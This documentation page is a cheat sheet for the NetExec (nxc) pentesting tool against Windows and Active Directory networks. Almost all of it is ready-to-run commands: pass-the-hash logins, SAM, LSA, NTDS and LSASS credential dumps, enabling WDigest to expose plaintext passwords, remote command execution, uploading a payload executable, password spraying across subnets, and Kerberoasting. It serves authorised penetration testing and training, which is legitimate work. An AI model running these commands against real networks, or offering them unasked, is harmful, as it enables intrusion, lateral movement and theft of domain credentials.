> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# NetExec Cheat Sheet

> NetExec (nxc) comprehensive cheat sheet: SMB, LDAP, WinRM, MSSQL, SSH, FTP, RDP, password spraying, modules, and credential dumping.

## Overview

NetExec (nxc) is the successor to CrackMapExec (cme). Multi-protocol Swiss army knife for pentesting Windows/Active Directory environments. Supports SMB, LDAP, WinRM, MSSQL, SSH, FTP, and RDP from a single tool with a unified interface.

* CrackMapExec is **deprecated** — use `nxc` instead of `crackmapexec`/`cme`
* Handles password spraying, credential validation, command execution, and post-exploitation across protocols
* Built-in database tracks all discovered credentials and hosts

***

## Installation

### pipx (recommended)

```bash theme={"dark"}
pipx install git+https://github.com/Pennyw0rth/NetExec
```

### apt (Kali)

```bash theme={"dark"}
sudo apt install netexec
```

### From source

```bash theme={"dark"}
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
pipx install .
```

Verify:

```bash theme={"dark"}
nxc --version
```

***

## Authentication Methods

All protocols share the same authentication flags.

```bash theme={"dark"}
# Password
nxc smb <IP> -u user -p 'Password123'

# NTLM hash (Pass-the-Hash)
nxc smb <IP> -u user -H 'aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76'

# NTLM hash (NT only)
nxc smb <IP> -u user -H '5fbc3d5fec8206a30f4b6c473d68ae76'

# Kerberos ticket (ccache)
export KRB5CCNAME=/tmp/user.ccache
nxc smb <IP> -u user --use-kcache

# Kerberos with password (request TGT)
nxc smb <IP> -u user -p 'Password123' -k

# NULL session
nxc smb <IP> -u '' -p ''

# Guest session
nxc smb <IP> -u 'guest' -p ''

# Domain authentication
nxc smb <IP> -u user -p 'Password123' -d DOMAIN.LOCAL

# Local authentication
nxc smb <IP> -u user -p 'Password123' --local-auth

# Credential files
nxc smb <IP> -u users.txt -p passwords.txt
nxc smb <IP> -u users.txt -p passwords.txt --continue-on-success
```

***

## SMB

### Check Access and Signing

```bash theme={"dark"}
# Check if user is admin
nxc smb <IP> -u user -p 'Password123'
# Output shows (Pwn3d!) if admin

# Check SMB signing
nxc smb <IP> --gen-relay-list unsigned.txt

# Enumerate hosts on a subnet
nxc smb 10.10.10.0/24
```

### Enumerate Shares

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --shares
```

### Spider Shares

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' -M spider_plus

# Spider with output to JSON
nxc smb <IP> -u user -p 'Password123' -M spider_plus -o DOWNLOAD_FLAG=true
```

### List Users

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --users
```

### Enumerate Logged-On Users

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --loggedon-users
```

### Enumerate Disks

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --disks
```

### RID Brute Force

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --rid-brute
nxc smb <IP> -u user -p 'Password123' --rid-brute 10000

# With NULL session
nxc smb <IP> -u '' -p '' --rid-brute
```

### Pass-the-Hash

```bash theme={"dark"}
nxc smb <IP> -u user -H 'NTLM_HASH'
nxc smb 10.10.10.0/24 -u administrator -H 'NTLM_HASH'
```

### SAM Dump

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --sam
```

### LSA Dump

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --lsa
```

### NTDS Dump (Domain Controller)

```bash theme={"dark"}
# Full NTDS dump
nxc smb <DC_IP> -u user -p 'Password123' --ntds

# Using VSS method
nxc smb <DC_IP> -u user -p 'Password123' --ntds vss

# Filter specific user
nxc smb <DC_IP> -u user -p 'Password123' --ntds --user targetuser
```

### Command Execution

```bash theme={"dark"}
# CMD execution
nxc smb <IP> -u user -p 'Password123' -x 'whoami'

# PowerShell execution
nxc smb <IP> -u user -p 'Password123' -X 'Get-Process'

# Choose exec method
nxc smb <IP> -u user -p 'Password123' -x 'whoami' --exec-method smbexec
nxc smb <IP> -u user -p 'Password123' -x 'whoami' --exec-method mmcexec
nxc smb <IP> -u user -p 'Password123' -x 'whoami' --exec-method atexec
nxc smb <IP> -u user -p 'Password123' -x 'whoami' --exec-method wmiexec
```

### Put / Get Files

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --put-file /tmp/payload.exe '\\Windows\\Temp\\payload.exe'
nxc smb <IP> -u user -p 'Password123' --get-file '\\Windows\\Temp\\secret.txt' /tmp/secret.txt
```

***

## LDAP

### Enumerate Users

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' --users
```

### Enumerate Groups

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' --groups
```

### Enumerate Computers

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' --computers
```

### Enumerate Domain Trusts

`--trusted-for-delegation` lists unconstrained-delegation accounts, **not** trusts (see "Find Delegation" below). NetExec has no dedicated trust flag — collect trusts via BloodHound:

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' --bloodhound -c Trusts --dns-server <DC_IP>
```

### Password Hunting (Description Field)

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' -M get-desc-users
```

### Kerberoastable Users

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' --kerberoasting output.txt
```

### AS-REP Roastable Users

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' --asreproast output.txt
```

### Find Delegation

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' --trusted-for-delegation
```

### MachineAccountQuota (MAQ)

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' -M maq
```

### Password Policy

```bash theme={"dark"}
nxc smb <DC_IP> -u user -p 'Password123' --pass-pol
```

### LAPS Passwords

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' -M laps
```

### gMSA Passwords

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' --gmsa
```

### Enumerate ADCS

```bash theme={"dark"}
nxc ldap <DC_IP> -u user -p 'Password123' -M adcs
```

***

## WinRM

### Check Access

```bash theme={"dark"}
nxc winrm <IP> -u user -p 'Password123'
# Output shows (Pwn3d!) if user can execute commands
```

### Command Execution

```bash theme={"dark"}
# CMD
nxc winrm <IP> -u user -p 'Password123' -x 'whoami'

# PowerShell
nxc winrm <IP> -u user -p 'Password123' -X 'Get-Process'
```

### Pass-the-Hash

```bash theme={"dark"}
nxc winrm <IP> -u user -H 'NTLM_HASH' -x 'whoami'
```

***

## MSSQL

### Authentication

```bash theme={"dark"}
# SQL authentication
nxc mssql <IP> -u sa -p 'Password123'

# Windows authentication
nxc mssql <IP> -u user -p 'Password123' -d DOMAIN.LOCAL

# Local Windows auth
nxc mssql <IP> -u user -p 'Password123' --local-auth
```

### Command Execution (xp\_cmdshell)

```bash theme={"dark"}
nxc mssql <IP> -u sa -p 'Password123' -x 'whoami'
nxc mssql <IP> -u sa -p 'Password123' -X 'Get-Process'
```

### Enumeration

```bash theme={"dark"}
# Enumerate databases
nxc mssql <IP> -u sa -p 'Password123' -q 'SELECT name FROM sys.databases'

# Run arbitrary SQL
nxc mssql <IP> -u sa -p 'Password123' -q 'SELECT @@version'
```

***

## SSH

### Authentication Check

```bash theme={"dark"}
nxc ssh <IP> -u user -p 'Password123'
```

### Brute Force

```bash theme={"dark"}
nxc ssh <IP> -u users.txt -p passwords.txt --continue-on-success
```

### Command Execution

```bash theme={"dark"}
nxc ssh <IP> -u user -p 'Password123' -x 'id'
```

***

## FTP

### Authentication Check

```bash theme={"dark"}
nxc ftp <IP> -u user -p 'Password123'
```

### Anonymous Check

```bash theme={"dark"}
nxc ftp <IP> -u anonymous -p ''
```

### Brute Force

```bash theme={"dark"}
nxc ftp <IP> -u users.txt -p passwords.txt --continue-on-success
```

***

## RDP

### Check Access

```bash theme={"dark"}
nxc rdp <IP> -u user -p 'Password123'
```

### Check NLA

```bash theme={"dark"}
nxc rdp <IP> -u user -p 'Password123' --nla-screenshot
```

### Screenshot

```bash theme={"dark"}
nxc rdp <IP> -u user -p 'Password123' --screenshot
```

***

## Password Spraying

### Across Protocols

```bash theme={"dark"}
# SMB spray
nxc smb 10.10.10.0/24 -u users.txt -p 'Spring2024!' --continue-on-success

# LDAP spray
nxc ldap <DC_IP> -u users.txt -p 'Spring2024!' --continue-on-success

# WinRM spray
nxc winrm <IP> -u users.txt -p 'Spring2024!' --continue-on-success

# SSH spray
nxc ssh <IP> -u users.txt -p passwords.txt --continue-on-success

# Multiple passwords against multiple users
nxc smb <IP> -u users.txt -p passwords.txt --continue-on-success
```

### Jitter and Delay

```bash theme={"dark"}
nxc smb <IP> -u users.txt -p 'Spring2024!' --jitter 3
```

### Lockout Awareness

Always check the password policy first:

```bash theme={"dark"}
nxc smb <DC_IP> -u user -p 'Password123' --pass-pol
```

Then spray one password at a time with `--continue-on-success` and wait between attempts based on the lockout observation window.

***

## Modules

### List All Modules

```bash theme={"dark"}
nxc smb -L
nxc ldap -L
nxc winrm -L
nxc mssql -L
```

### Module Info

```bash theme={"dark"}
nxc smb -M spider_plus --options
```

### Useful Modules

```bash theme={"dark"}
# Spider shares and output JSON
nxc smb <IP> -u user -p 'Password123' -M spider_plus

# Get network connections
nxc smb <IP> -u user -p 'Password123' -M get_netconnections

# Enable WDigest (plaintext creds in memory)
nxc smb <IP> -u user -p 'Password123' -M wdigest -o ACTION=enable

# Dump LSASS with lsassy
nxc smb <IP> -u user -p 'Password123' -M lsassy

# Dump LSASS with nanodump
nxc smb <IP> -u user -p 'Password123' -M nanodump

# Dump LSASS with procdump
nxc smb <IP> -u user -p 'Password123' -M procdump

# Dump LSASS with lsassy (NetExec has no mimikatz module)
nxc smb <IP> -u user -p 'Password123' -M lsassy

# Enable RDP
nxc smb <IP> -u user -p 'Password123' -M rdp -o ACTION=enable

# Check WebDAV
nxc smb <IP> -u user -p 'Password123' -M webdav

# NTDS dump via ntdsutil
nxc smb <DC_IP> -u user -p 'Password123' -M ntdsutil

# Enumerate AV products
nxc smb <IP> -u user -p 'Password123' -M enum_av
```

***

## Output and Logging

### Log to File

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --log output.log
```

### NetExec Database (nxcdb)

All results are automatically stored in the nxcdb SQLite database.

```bash theme={"dark"}
# Launch database interface
nxcdb

# Inside nxcdb
help
proto smb
creds
hosts
```

### Export Results

```bash theme={"dark"}
# Export credentials
nxcdb
proto smb
creds
export creds csv /tmp/creds.csv

# Export hosts
hosts
export hosts csv /tmp/hosts.csv
```

### Verbose Output

```bash theme={"dark"}
nxc smb <IP> -u user -p 'Password123' --verbose
```

***

## Common One-Liners

```bash theme={"dark"}
# Find all hosts where user is local admin
nxc smb 10.10.10.0/24 -u user -p 'Password123'

# Spray one password across a subnet
nxc smb 10.10.10.0/24 -u users.txt -p 'Spring2024!' --continue-on-success

# Dump all domain hashes from DC
nxc smb <DC_IP> -u admin -p 'Password123' --ntds

# Find hosts with SMB signing disabled (relay targets)
nxc smb 10.10.10.0/24 --gen-relay-list unsigned.txt

# Enumerate shares across a subnet
nxc smb 10.10.10.0/24 -u user -p 'Password123' --shares

# Extract LAPS passwords
nxc ldap <DC_IP> -u user -p 'Password123' -M laps

# Find AS-REP roastable users
nxc ldap <DC_IP> -u user -p 'Password123' --asreproast asrep.txt

# Find Kerberoastable users
nxc ldap <DC_IP> -u user -p 'Password123' --kerberoasting kerb.txt

# Check for null sessions across subnet
nxc smb 10.10.10.0/24 -u '' -p '' --shares

# Mass command execution on pwned hosts
nxc smb 10.10.10.0/24 -u admin -H 'NTLM_HASH' -x 'whoami' --exec-method smbexec

# RID brute with null session
nxc smb <DC_IP> -u '' -p '' --rid-brute 10000

# Dump SAM on all hosts where you are admin
nxc smb 10.10.10.0/24 -u admin -p 'Password123' --sam

# Spider all readable shares for sensitive files
nxc smb 10.10.10.0/24 -u user -p 'Password123' -M spider_plus
```